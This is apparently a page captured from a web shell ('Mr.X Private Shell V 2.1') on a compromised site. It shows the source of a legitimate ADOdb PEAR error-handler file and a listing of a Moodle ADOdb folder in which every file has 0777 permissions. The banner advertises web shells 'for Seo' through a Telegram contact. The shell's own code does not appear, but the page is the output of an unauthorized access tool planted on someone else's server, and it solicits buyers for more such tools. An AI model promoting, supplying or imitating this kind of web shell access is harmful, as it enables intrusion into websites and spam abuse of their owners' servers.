__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Error Handler with PEAR support.
*
* This file is part of ADOdb, a Database Abstraction Layer library for PHP.
*
* @package ADOdb
* @link https://adodb.org Project's web site and documentation
* @link https://github.com/ADOdb/ADOdb Source code and issue tracker
*
* The ADOdb Library is dual-licensed, released under both the BSD 3-Clause
* and the GNU Lesser General Public Licence (LGPL) v2.1 or, at your option,
* any later version. This means you can use it in proprietary products.
* See the LICENSE.md file distributed with this source code for details.
* @license BSD-3-Clause
* @license LGPL-2.1-or-later
*
* @copyright 2000-2013 John Lim
* @copyright 2014 Damien Regad, Mark Newnham and the ADOdb community
*/
include_once('PEAR.php');
if (!defined('ADODB_ERROR_HANDLER')) define('ADODB_ERROR_HANDLER','ADODB_Error_PEAR');
/*
* Enabled the following if you want to terminate scripts when an error occurs
*/
//PEAR::setErrorHandling (PEAR_ERROR_DIE);
/*
* Name of the PEAR_Error derived class to call.
*/
if (!defined('ADODB_PEAR_ERROR_CLASS')) define('ADODB_PEAR_ERROR_CLASS','PEAR_Error');
/*
* Store the last PEAR_Error object here
*/
global $ADODB_Last_PEAR_Error; $ADODB_Last_PEAR_Error = false;
/**
* Error Handler with PEAR support. This will be called with the following params
*
* @param $dbms the RDBMS you are connecting to
* @param $fn the name of the calling function (in uppercase)
* @param $errno the native error number from the database
* @param $errmsg the native error msg from the database
* @param $p1 $fn specific parameter - see below
* @param $P2 $fn specific parameter - see below
*/
function ADODB_Error_PEAR($dbms, $fn, $errno, $errmsg, $p1=false, $p2=false)
{
global $ADODB_Last_PEAR_Error;
// Do not throw if errors are suppressed by @ operator
// error_reporting() value for suppressed errors changed in PHP 8.0.0
$suppressed = version_compare(PHP_VERSION, '8.0.0', '<')
? 0
: E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR | E_PARSE;
if (error_reporting() == $suppressed) {
return;
}
switch($fn) {
case 'EXECUTE':
$sql = $p1;
$inputparams = $p2;
$s = "$dbms error: [$errno: $errmsg] in $fn(\"$sql\")";
break;
case 'PCONNECT':
case 'CONNECT':
$host = $p1;
$database = $p2;
$s = "$dbms error: [$errno: $errmsg] in $fn('$host', ?, ?, '$database')";
break;
default:
$s = "$dbms error: [$errno: $errmsg] in $fn($p1, $p2)";
break;
}
$class = ADODB_PEAR_ERROR_CLASS;
$ADODB_Last_PEAR_Error = new $class($s, $errno,
$GLOBALS['_PEAR_default_error_mode'],
$GLOBALS['_PEAR_default_error_options'],
$errmsg);
//print "<p>!$s</p>";
}
/**
* Returns last PEAR_Error object. This error might be for an error that
* occurred several sql statements ago.
*/
function ADODB_PEAR_Error()
{
global $ADODB_Last_PEAR_Error;
return $ADODB_Last_PEAR_Error;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| datadict | Folder | 0777 |
|
|
| drivers | Folder | 0777 |
|
|
| lang | Folder | 0777 |
|
|
| perf | Folder | 0777 |
|
|
| xsl | Folder | 0777 |
|
|
| LICENSE.md | File | 25.79 KB | 0777 |
|
| README.md | File | 4.32 KB | 0777 |
|
| SECURITY.md | File | 1.37 KB | 0777 |
|
| adodb-active-record.inc.php | File | 27.92 KB | 0777 |
|
| adodb-active-recordx.inc.php | File | 37.82 KB | 0777 |
|
| adodb-csvlib.inc.php | File | 8.62 KB | 0777 |
|
| adodb-datadict.inc.php | File | 28.53 KB | 0777 |
|
| adodb-error.inc.php | File | 9.21 KB | 0777 |
|
| adodb-errorhandler.inc.php | File | 3.31 KB | 0777 |
|
| adodb-errorpear.inc.php | File | 2.84 KB | 0777 |
|
| adodb-exceptions.inc.php | File | 2.92 KB | 0777 |
|
| adodb-lib.inc.php | File | 38.83 KB | 0777 |
|
| adodb-loadbalancer.inc.php | File | 26.22 KB | 0777 |
|
| adodb-memcache.lib.inc.php | File | 9.55 KB | 0777 |
|
| adodb-pager.inc.php | File | 7.87 KB | 0777 |
|
| adodb-pear.inc.php | File | 9.63 KB | 0777 |
|
| adodb-perf.inc.php | File | 30.53 KB | 0777 |
|
| adodb-time.inc.php | File | 42.8 KB | 0777 |
|
| adodb-xmlschema.inc.php | File | 54.01 KB | 0777 |
|
| adodb-xmlschema03.inc.php | File | 61.43 KB | 0777 |
|
| adodb.inc.php | File | 153.97 KB | 0777 |
|
| index.html | File | 0 B | 0777 |
|
| phpdoc | File | 732 B | 0777 |
|
| phpdoc.dist.xml | File | 542 B | 0777 |
|
| pivottable.inc.php | File | 6.46 KB | 0777 |
|
| readme_moodle.txt | File | 714 B | 0777 |
|
| rsfilter.inc.php | File | 1.74 KB | 0777 |
|
| toexport.inc.php | File | 3.69 KB | 0777 |
|
| tohtml.inc.php | File | 5.84 KB | 0777 |
|
| xmlschema.dtd | File | 1.42 KB | 0777 |
|
| xmlschema03.dtd | File | 1.64 KB | 0777 |
|